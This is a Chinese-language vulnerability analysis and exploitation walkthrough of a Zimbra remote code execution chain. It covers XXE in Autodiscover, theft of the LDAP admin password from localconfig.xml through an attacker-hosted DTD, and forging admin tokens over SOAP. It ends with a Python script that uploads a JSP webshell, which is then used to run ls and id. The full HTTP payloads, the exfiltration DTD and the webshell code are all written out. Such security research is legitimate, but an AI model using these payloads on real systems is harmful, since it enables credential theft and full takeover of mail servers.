Zimbra 远程代码执行漏洞(CVE--9670)漏洞分析
漏洞简介
Zimbra
是著名的开源系统,提供了一套开源协同办公套件包括WebMail
,日历,通信录,Web
文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。此漏洞的主要利用手法是通过XXE (XML 外部实体注入)
漏洞读取localconfig.xml
配置文件来获取Zimbra admin ldap password,
接着通过SOAP AuthRequest
认证得到Admin Authtoken
,最后使用全局管理令牌通过ClientUploader
扩展上传Webshell
到Zimbra
服务器,从而实现通过Webshell
来达到远程代码执行效果。(需要注意,最后要达到RCE
要结合SSRF
漏洞,即需要结合另一个漏洞CVE--9621
)
漏洞影响范围
Zimbra< 7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。Zimbra< 8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。
漏洞环境搭建
此次采用本地环境搭建的方式进行,因为vulhub没有这个靶场,搭建环境比较复杂,具体步骤查看/sxr__nc/article/details/130115884?spm=1001..3001.5502
漏洞复现
(此处只针对漏洞是否存在进行复现验证)
使用bp向目标服务器发送如下数据包,其中利用接口如下:/Autodiscover/Autodiscover.xml
POST /Autodiscover/Autodiscover.xml HTTP/1.1Host: 192.168.220.56Connection: keep-aliveContent-Length: 343User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3Accept: */*Origin: https://192.168.220.56Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://192.168.220.56/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: ZM_TEST=true;ZA_SKIN=serenity;<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><Autodiscover xmlns="/exchange/autodiscover/outlook/responseschema/a"><Request><EMailAddress>aaaaa</EMailAddress><AcceptableResponseSchema>&xxe;</AcceptableResponseSchema></Request></Autodiscover>
查看返回的数据包如下:
成功返回passwd文件内容.
漏洞原理分析
前置背景
关于XML注入漏洞
XML
有两个先驱——SGML
(标准通用标记语言)和HTML
(超文本标记语言),这两个语言都是非常成功的标记语言。SGML
多用于科技文献和政府办公文件中,SGML
非常复杂,其复杂程度对于网络上的日常使用简直不可思议。HTML
免费、简单,已经获得了广泛的支持,方便大众的使用。而XML
(可扩展标记语言)它既具有SGML
的强大功能和可扩展性,同时又具有HTML
的简单性。
XML
注入攻击和SQL
注入攻击的原理一样,利用了XML
解析机制的漏洞,如果系统对用户输入"<",">"
没有做转义的处理,攻击者可以修改XML
的数据格式,或者添加新的XML
节点,就会导致解析XML
异常,对流程产生影响。
攻击方式
如下为正常的注册访问用户XML
数据,其中用户名由用户自己输入。
<?xml version="1.0" encoding="UTF-8"<user role="guest">用户输入</user>
正常情况下的用户输入可以是如下格式:
<?xml version="1.0" encoding="UTF-8"<user role="guest">Admin</user><?xml version="1.0" encoding="UTF-8"<user role="guest">test</user>
攻击者构造恶意数据可能是如下格式:
<?xml version="1.0" encoding="UTF-8"<user role="guest">test</user><user role="admin">Hacker</user>
即攻击者在输入用户名数据的时候构造test\</user>\<user role="admin">Hacker
这样的恶意数据包,如果系统对用用户输入的"<",">"
符号没有进行处理,就会导致上述类型的攻击,攻击者在发送上述类型的数据包的时候可以新建一个admin
权限的用户Hacker
.
关于XXE注入漏洞
XML
外部实体注入(XML External Entity
)简称XXE
漏洞。XXE:XML External Entity
即外部实体,从安全角度理解成XML External Entity attack
外部实体注入攻击,由于程序在解析输入的XML
数据时,解析了攻击者伪造的外部实体而产生的。
概括一下就是"攻击者通过向服务器注入指定的xml
实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml
数据,而又没有做严格的安全控制,从而导致xml
外部实体注入。
关于DTD
XML
文档有自己的格式规范,而这个格式规范是由DTD(document type definition)
控制的,示例代码如下:
<?xml version="1.0"?>//这一行是 XML 文档定义<!DOCTYPE message [<!ELEMENT message (receiver ,sender ,header ,msg)><!ELEMENT receiver (#PCDATA)><!ELEMENT sender (#PCDATA)><!ELEMENT header (#PCDATA)><!ELEMENT msg (#PCDATA)>
DTD
(文档类型定义)的作用是定义XML
文档的合法构建模块。DTD
可被成行地声明于XML
文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
假如DTD
被包含在XML
源文件中,它可以通过下面的语法包装在一个DOCTYPE
声明中:
<!DOCTYPE root-element [element-declarations]>
带有DTD
的XML
文档实例:
<?xml version="1.0"?><!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>]><note><to>Tove</to><from>Jani</from><heading>Reminder</heading><body>Don't forget me this weekend</body></note>
详细解释如下:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型下边的数据即标识具体对应元素的数据
外部的 DOCTYPE 声明
如果DTD
位于XML
源文件的外部,那么通过下边的语法封装在DOCTYPE
中:
<!DOCTYPE root-element SYSTEM "filename">
带有外部DTD的XML文档示例:
<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note><to>Tove</to><from>Jani</from><heading>Reminder</heading><body>Don't forget me this weekend!</body></note>
其中外部dtd
文件内容如下:
<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>
关于DTD中的实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
1:实体引用是对实体的引用。
2:实体可在内部或外部进行声明。内部实体的声明:
语法:<!ENTITY entity-name "entity-value">示例:<!ENTITY writer "Donald Duck."><!ENTITY copyright "Copyright ">引用:<author>&writer;©right;</author>
外部实体的声明:
语法:<!ENTITY entity-name SYSTEM "URI/URL">示例:<!ENTITY writer SYSTEM "/entities.dtd"><!ENTITY copyright SYSTEM "/entities.dtd">引用:<author>&writer;©right;</author> <!--这里的引用会直接获取到外部的dtd文件的内容-->
通用实体:用&实体名;
引用的实体在DTD
中定义,在XML
文档中引用
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile><!--此处&file:即为参数实体,在DTD中定义为一个外部的实体-->
参数实体:
1.使用% 实体名;
引用的实体,在DTD
中定义,并且只能在DTD
中使用%实体名;
引用
2.只有在DTD
文件中,参数实体的声明才能引用其他实体
3.和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "/remote.dtd"> %an-element; %remote-dtd;
xxe漏洞原理
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]><creds><user>&xxe;</user><pass>mypass</pass></creds>
以上示例代码在解析的时候会提交两个主要参数,一个是<pass>mypass\</pass>
,一个是<user>&xxe;</user>
,在解析的过程中遇到实体的引用会直接获取相应的内容,即这里碰到&xxe
会直接获取到外部实体file:///c:/test.dtd
的内容,这样一来处理数据会很方便,但同时也会有巨大的安全隐患:如果把目标dtd
文件换成敏感文件,这样就会获取到敏感文件的内容。
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><creds><user>&xxe;</user><pass>mypass</pass></creds>
CVE--9670在原理上和这个是相通的。
定位漏洞点
向https://192.168.220.56:7071/Autodiscover/Autodiscover.xml
发送一个空的xml数据包,如下:
POST /Autodiscover/Autodiscover.xml HTTP/1.1Host: 192.168.220.56Connection: keep-aliveContent-Length: 7User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3Accept: */*Origin: https://192.168.220.56Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://192.168.220.56/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: ZM_TEST=true;ZA_SKIN=serenity;<a></a>
查看返回的数据包:
HTTP/1.1 400 No Email address is specified in the RequestDate: Thu, 06 Apr 11:46:58 GMTContent-Type: text/html;charset=iso-8859-1Cache-Control: must-revalidate,no-cache,no-storeContent-Length: 339<html><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/><title>Error 400 No Email address is specified in the Request</title></head><body><h2>HTTP ERROR 400</h2><p>Problem accessing /service/autodiscover/Autodiscover.xml. Reason:<pre> No Email address is specified in the Request</pre></p></body></html>
注意关键字:No Email address is specified in the Request
。
使用反编译软件反编译zimbrastore.jar
包,在其中查找该字符串:找到之后打开目标文件
打开目标文件之后.定位到报错信息,可以发现这块的处理逻辑是由doPost
函数进行处理的:到这儿就已经大概定位到漏洞函数了,接下来继续对该函数进行深入分析.
doPost函数逻辑分析
doPost
函数的主要逻辑解析如下:
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {····················· NodeList nList = doc.getElementsByTagName("Request"); //获取request标签的内容for (int i = 0; i < nList.getLength(); i++) {Node node = nList.item(i);if (node.getNodeType() == 1) {Element element = (Element)node;email = getTagValue("EMailAddress", element); //获取EMailAddress标签的内容responseSchema = getTagValue("AcceptableResponseSchema", element);if (email != null)//获取AcceptableResponseSchema标签的内容break; } } } catch (Exception e) {//处理异常 如果body体为空返回报错信息 Body cannot be parsed log.warn("cannot parse body: %s", new Object[] {content }); sendError(resp, 400, "Body cannot be parsed");return;} if (email == null || email.length() == 0) {//如果获取到的email地址为空,返回报错信息log.warn("No Email address is specified in the Request, %s", new Object[] {content });sendError(resp, 400, "No Email address is specified in the Request");return;}//对AcceptableResponseSchema内容进行判断,如果不满足条件,返回报错信息503并且返回AcceptableResponseSchema的内容。此处也正是造成XXE回显漏洞的关键点if (responseSchema != null && responseSchema.length() > 0)if (!responseSchema.equals("/exchange/autodiscover/mobilesync/responseschema/") && !responseSchema.equals("/exchange/autodiscover/outlook/responseschema/a")) {log.warn("Requested response schema not available " + responseSchema);sendError(resp, 503, "Requested response schema not available " + responseSchema);return;} log.debug("Authenticating user");······························
逻辑整理:通过分析doPost
函数的处理流程,在整体的处理过程中对于请求的数据包,只针对EMailAddress
和AcceptableResponseSchema
两个字段进行的解析,在解析的过程中会判断获取到的邮箱地址和AcceptableResponseSchema
字段是否满足既定条件,具体判断如下:
1:判断获取到的邮箱地址是否为空,为空或者长度为0,则返回400的报错信息,提示:请求的数据包中没有Email地址2:判断AcceptableResponseSchema字段数据是否为空或者长度是否为03:判断AcceptableResponseSchema是否等于既定的数据,如果不等于则返回503的报错信息,与此同时返回AcceptableResponseSchema字段中的数据和上边已经介绍过的XXE漏洞相同,在这里如果把引用的外部实体修改为敏感文件路径,就会直接获取到敏感文件的内容,同时回显出来
漏洞后续利用
前提条件
如果要想达到RCE
的效果,需要再结合SSRF
漏洞来完成,即需要结合CVE--9621
进行结合利用,CVE--9621
是一个SSRF
漏洞,这两个漏洞结合可以达到RCE
的效果。(这个其实是官方的利用思路,但是其实不需要9621也可以直接完成RCE
)
获取关键配置文件信息
接下来利用上述xxe
漏洞获取zimbra
的关键配置文件内容,目的是从配置文件中获取zimbra
的用户名及密码信息。对应的关键配置文件为localconfig.xml
,但是还有一个问题:这个目标文件是一个xml
文件,因此不能直接在数据包中替换,(由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取
)需要借用外部dtd
,构造的外部dtd
如下:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"><!ENTITY % start "<![CDATA["><!ENTITY % end "]]>"><!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
创建的poc.dtd
文件,在本地开启http
服务,保证在发送数据包的时候可以成功访问到目标文件
发送如下数据包:
POST /Autodiscover/Autodiscover.xml HTTP/1.1Host: 192.168.220.56Connection: keep-aliveContent-Length: 409User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3Accept: */*Origin: https://192.168.220.56Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://192.168.220.56/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: ZM_TEST=true;ZA_SKIN=serenity;<!DOCTYPE Autodiscover [<!ENTITY % dtd SYSTEM "http://192.168.220.124:8000/poc.dtd">%dtd;%all;]><Autodiscover xmlns="/exchange/autodiscover/outlook/responseschema/a"><Request><EMailAddress>aaaaa</EMailAddress><AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema></Request></Autodiscover>
服务端的数据请求记录:
返回的数据包如下:成功获取到密码
获取低权限token
接下来的利用接口为:https://IP:7071/service/admin/soap
发送的数据包如下:
POST /service/admin/soap HTTP/1.1Host: 192.168.220.56Connection: keep-aliveContent-Length: 463User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3Accept: */*Origin: https://192.168.220.56Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://192.168.220.56/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: ZM_TEST=true;ZA_SKIN=serenity;<soap:Envelope xmlns:soap="//05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/></context></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAccount"><account by="adminName">zimbra</account><password>XXXX</password>//填写上边获取到的密码</AuthRequest></soap:Body></soap:Envelope>
相应的数据包如下:
获取高权限token
这里需要注意下:官方发出的通告声明,这里需要使用SSRF
漏洞(即CVE--9621
)进行高权限的token
获取,其实只需要将上边的数据包中的字段修改下即可直接获取到高权限的token
,当然这个方式有运气的成分,但是也是有理可依的,发送如下数据包:
PS:看一些资料提到需要将host后边添加端口号7071,我这里没有添加也可以获取到高权限的token |
POST /service/admin/soap HTTP/1.1Host: 192.168.220.56Connection: keep-aliveContent-Length: 461User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3Accept: */*Origin: https://192.168.220.56Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://192.168.220.56/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: ZM_TEST=true;ZA_SKIN=serenity;<soap:Envelope xmlns:soap="//05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/></context></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAdmin"><account by="adminName">zimbra</account><password>oD4I8Bnm</password></AuthRequest></soap:Body></soap:Envelope>
获取到的数据包内容如下:
官方利用方式:利用SSRF漏洞完成
Post: /service/proxy?target=https://IP:7071/service/admin/soapPs:(1)HOST:后面加端口7071(2)Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为获取到的低权限token(3)发送获取普通权限token的body内容,但是将AuthRequest的xmlns改为: urn:zimbraAdmin
利用高权限token上传文件
import requestsfile= {'filename1':(None,"whocare",None),'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"), 'requestId':(None,"12",None),}headers ={"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_512db09799df40f318caa342dc61ce4d1b965fd9_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638313133343531343539373b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3436303035343039303b76657273696f6e3d31333a382e372e375f47415f313738373b",#改成自己的admin_token"Host":"foo:7071"}r=requests.post("https://192.168.220.56:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False) print(r.text)
实现RCE
上传文件成功之后,访问地址https://192.168.220.56:7071/downloads/sunian.jsp
,访问的时候需要在Cookie
里边填写高权限的token
,发送请求数据包如下:(这里远程执行ls命令)
GET /downloads/sunian.jsp?pwd=023&i=ls HTTP/1.1Host: 192.168.220.56:7071Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373bUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
返回的数据包如下:
尝试执行其它命令:发送如下数据包:
GET /downloads/sunian.jsp?pwd=023&i=id HTTP/1.1Host: 192.168.220.56:7071Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373bUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
执行id命令,返回的数据包如下:
参考链接
/t/7991
/bug-product/Zimbra/CVE--9621-CVE--9670-Zimbra-远程代码执行漏洞.html
/archives/52/